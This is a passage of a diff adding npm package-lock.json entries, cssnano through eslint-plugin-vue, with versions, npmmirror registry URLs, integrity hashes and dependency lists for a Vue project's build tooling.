"https://registry.npmmirror.com/cssnano/-/cssnano-5.1.15.tgz", + "integrity": "sha512-j+BKgDcLDQA+eDifLx0EO4XSA56b7uut3BQFH+wbSaSTuGLuiyTa/wbRYthUXX8LC9mLg+WWKe8h+qJuwTAbHw==", + "dev": true, + "dependencies": { + "cssnano-preset-default": "^5.2.14", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.14", + "resolved": "https://registry.npmmirror.com/cssnano-preset-default/-/cssnano-preset-default-5.2.14.tgz", + "integrity": "sha512-t0SFesj/ZV2OTylqQVOrFgEh5uanxbO6ZAdeCrNsUQ6fVuXwYTxJPNAGvGTxHbD68ldIJNec7PyYZDBrfDQ+6A==", + "dev": true, + "dependencies": { + "css-declaration-sorter": "^6.3.1", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.1", + "postcss-convert-values": "^5.1.3", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.7", + "postcss-merge-rules": "^5.1.4", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.4", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.1", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.2", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dev": true, + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/csstype": { + "version": "3.1.3", + "resolved": "https://registry.npmmirror.com/csstype/-/csstype-3.1.3.tgz", + "integrity": "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==" + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmmirror.com/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==" + }, + "node_modules/debounce": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/debounce/-/debounce-1.2.1.tgz", + "integrity": "sha512-XRRe6Glud4rd/ZGQfiV1ruXSfbvfJedlV9Y6zOlP+2K04vBYiJEte6stfFkCP03aMnY5tsipamumUjL14fofug==", + "dev": true + }, + "node_modules/debug": { + "version": "4.3.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.7.tgz", + "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", + "dev": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true + }, + "node_modules/deepmerge": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/deepmerge/-/deepmerge-1.5.2.tgz", + "integrity": "sha512-95k0GDqvBjZavkuvzx/YqVLv/6YYa17fz6ILMSf7neqQITCPbnfEnQvEgMPNjH4kgobe7+WIL0yJEHku+H3qtQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dev": true, + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/default-gateway/node_modules/cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.3.tgz", + "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "dev": true, + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/default-gateway/node_modules/execa": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "dev": true, + "dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/default-gateway/node_modules/get-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-gateway/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-gateway/node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/default-gateway/node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/default-gateway/node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/default-gateway/node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/default-gateway/node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dev": true, + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "dev": true, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dns-packet": { + "version": "5.6.1", + "resolved": "https://registry.npmmirror.com/dns-packet/-/dns-packet-5.6.1.tgz", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", + "dev": true, + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dev": true, + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmmirror.com/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmmirror.com/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==", + "dev": true + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true + }, + "node_modules/easy-stack": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/easy-stack/-/easy-stack-1.0.1.tgz", + "integrity": "sha512-wK2sCs4feiiJeFXn3zvY0p41mdU5VUgbgs1rNsc/y5ngFUijdWd+iIN8eoyuZHKB8xN6BL4PdWmzqFmxNg6V2w==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "dev": true + }, + "node_modules/electron-to-chromium": { + "version": "1.5.49", + "resolved": "https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.5.49.tgz", + "integrity": "sha512-ZXfs1Of8fDb6z7WEYZjXpgIRF6MEu8JdeGA0A40aZq6OQbS+eJpnnV49epZRna2DU/YsEjSQuGtQPPtvt6J65A==", + "dev": true + }, + "node_modules/element-plus": { + "version": "2.8.7", + "resolved": "https://registry.npmmirror.com/element-plus/-/element-plus-2.8.7.tgz", + "integrity": "sha512-oGQyFRufFOgjd872tZc+T4xQAYLlX4hj6d3ixeY13L4fFNUuc1N49JHAqJGPda0tdx3qCnjceZoh1kqqj2+tXQ==", + "dependencies": { + "@ctrl/tinycolor": "^3.4.1", + "@element-plus/icons-vue": "^2.3.1", + "@floating-ui/dom": "^1.0.1", + "@popperjs/core": "npm:@sxzz/popperjs-es@^2.11.7", + "@types/lodash": "^4.14.182", + "@types/lodash-es": "^4.17.6", + "@vueuse/core": "^9.1.0", + "async-validator": "^4.2.5", + "dayjs": "^1.11.3", + "escape-html": "^1.0.3", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "lodash-unified": "^1.0.2", + "memoize-one": "^6.0.0", + "normalize-wheel-es": "^1.2.0" + }, + "peerDependencies": { + "vue": "^3.2.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmmirror.com/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dev": true, + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.17.1", + "resolved": "https://registry.npmmirror.com/enhanced-resolve/-/enhanced-resolve-5.17.1.tgz", + "integrity": "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/enquirer": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/enquirer/-/enquirer-2.4.1.tgz", + "integrity": "sha512-rRqJg/6gd538VHvR3PSrdRBb/1Vy2YfzHqzvbhGIQpDRKIa4FgV/54b5Q1xYSxOOwKvjXweS26E0Q+nAMwp2pQ==", + "dev": true, + "dependencies": { + "ansi-colors": "^4.1.1", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.2", + "resolved": "https://registry.npmmirror.com/error-ex/-/error-ex-1.3.2.tgz", + "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", + "dev": true, + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmmirror.com/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "dev": true, + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-define-property/-/es-define-property-1.0.0.tgz", + "integrity": "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.2.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.5.4", + "resolved": "https://registry.npmmirror.com/es-module-lexer/-/es-module-lexer-1.5.4.tgz", + "integrity": "sha512-MVNK56NiMrOwitFB7cqDwq0CQutbw+0BvLshJSse0MUNU+y1FC3bUS/AQg7oUng+/wKrrki7JfmwtVHkVfPLlw==", + "dev": true + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==" + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/eslint": { + "version": "7.32.0", + "resolved": "https://registry.npmmirror.com/eslint/-/eslint-7.32.0.tgz", + "integrity": "sha512-VHZ8gX+EDfz+97jGcgyGCyRia/dPOd6Xh9yPv8Bl1+SoaIwD+a/vlrOmGRUyOYu7MwUhc7CxqeaDZU13S4+EpA==", + "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.", + "dev": true, + "dependencies": { + "@babel/code-frame": "7.12.11", + "@eslint/eslintrc": "^0.4.3", + "@humanwhocodes/config-array": "^0.5.0", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.0.1", + "doctrine": "^3.0.0", + "enquirer": "^2.3.5", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^5.1.1", + "eslint-utils": "^2.1.0", + "eslint-visitor-keys": "^2.0.0", + "espree": "^7.3.1", + "esquery": "^1.4.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "functional-red-black-tree": "^1.0.1", + "glob-parent": "^5.1.2", + "globals": "^13.6.0", + "ignore": "^4.0.6", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "js-yaml": "^3.13.1", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.0.4", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "progress": "^2.0.0", + "regexpp": "^3.1.0", + "semver": "^7.2.1", + "strip-ansi": "^6.0.0", + "strip-json-comments": "^3.1.0", + "table": "^6.0.9", + "text-table": "^0.2.0", + "v8-compile-cache": "^2.0.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-plugin-vue": { + "version": "8.7.1", + "resolved": "https://registry.npmmirror.com/eslint-plugin-vue/-/eslint-plugin-vue-8.7.1.tgz", + "integrity": "sha512-28sbtm4l4cOzoO1LtzQPxfxhQABararUb1JtqusQqObJpWX2e/gmVyeYVfepizPFne0Q5cILkYGiBoV36L12Wg==", + "dev": true, + "dependencies": { + "eslint-utils": "^3.0.0", + "natural-compare": "^1.4.0", + "nth-check": "^2.0.1", + "postcss-selector-parser": "^6.0.9", + "semver": "^7.3.5", + "vue-eslint-parser": "^8.0.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.2.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/eslint-plugin-vue/node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": 